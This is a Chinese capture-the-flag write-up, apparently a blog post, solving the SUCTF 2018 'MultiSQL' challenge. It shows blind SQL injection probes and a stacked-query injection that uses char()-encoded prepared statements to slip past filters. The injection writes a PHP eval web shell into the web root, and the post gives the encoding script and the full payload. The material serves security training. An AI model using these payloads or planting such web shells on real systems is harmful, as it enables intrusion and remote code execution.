buu-[SUCTF 2018]MultiSQL

打开环境,只有登录和注册界面,admin已存在,随便注册一个算了
在这里插入图片描述登录后有两个选项
在这里插入图片描述头像界面就是一个文件上传,象征性的传一张,得到一个文件夹,可以正常访问
在这里插入图片描述
用户信息界面还有url的user/user.php?id=2
很明显的sql注入(如果考点是注入的话)
在这里插入图片描述
看一眼题目,然后默默的吧id改成1,能看到admin但是没有用
在这里插入图片描述
测了一下字符型和整形注入都没回显

脚本不知道为什么没有返回值,浏览器是能成功访问的
在这里插入图片描述?id=1^(ascii(mid(user(),1,1))>0)
就手注了一下user()是suctf@localhost(虽然没什么用)

没思路了就fuzz了一下,这些是能用的符号,函数因为因为语法问题就都没了
在这里插入图片描述
既然分号能用,那么可以尝试堆叠注入

这里卡了一会儿,看了wp发现要用 select str into file 写入shell

set @sql=select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘/var/www/html/favicon/shell1.php’;;prepare stmt from @sql;execute stmt;

select以及一些符号被过滤了
用char()绕过
CHAR()解释每个参数n为整数,并返回由这些给出的字符串的字符的代码整数值。如遇NULL值则跳过

给出一个转ascii的脚本

str="select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/favicon/shell1.php';"
for i in str:
     print(ord(i),end=",")

payload

?id=1;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,49,46,112,104,112,39,59);prepare query from @sql;execute query;

可以蚁剑,也可以直接用
在这里插入图片描述拿到文件名直接cat就好了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值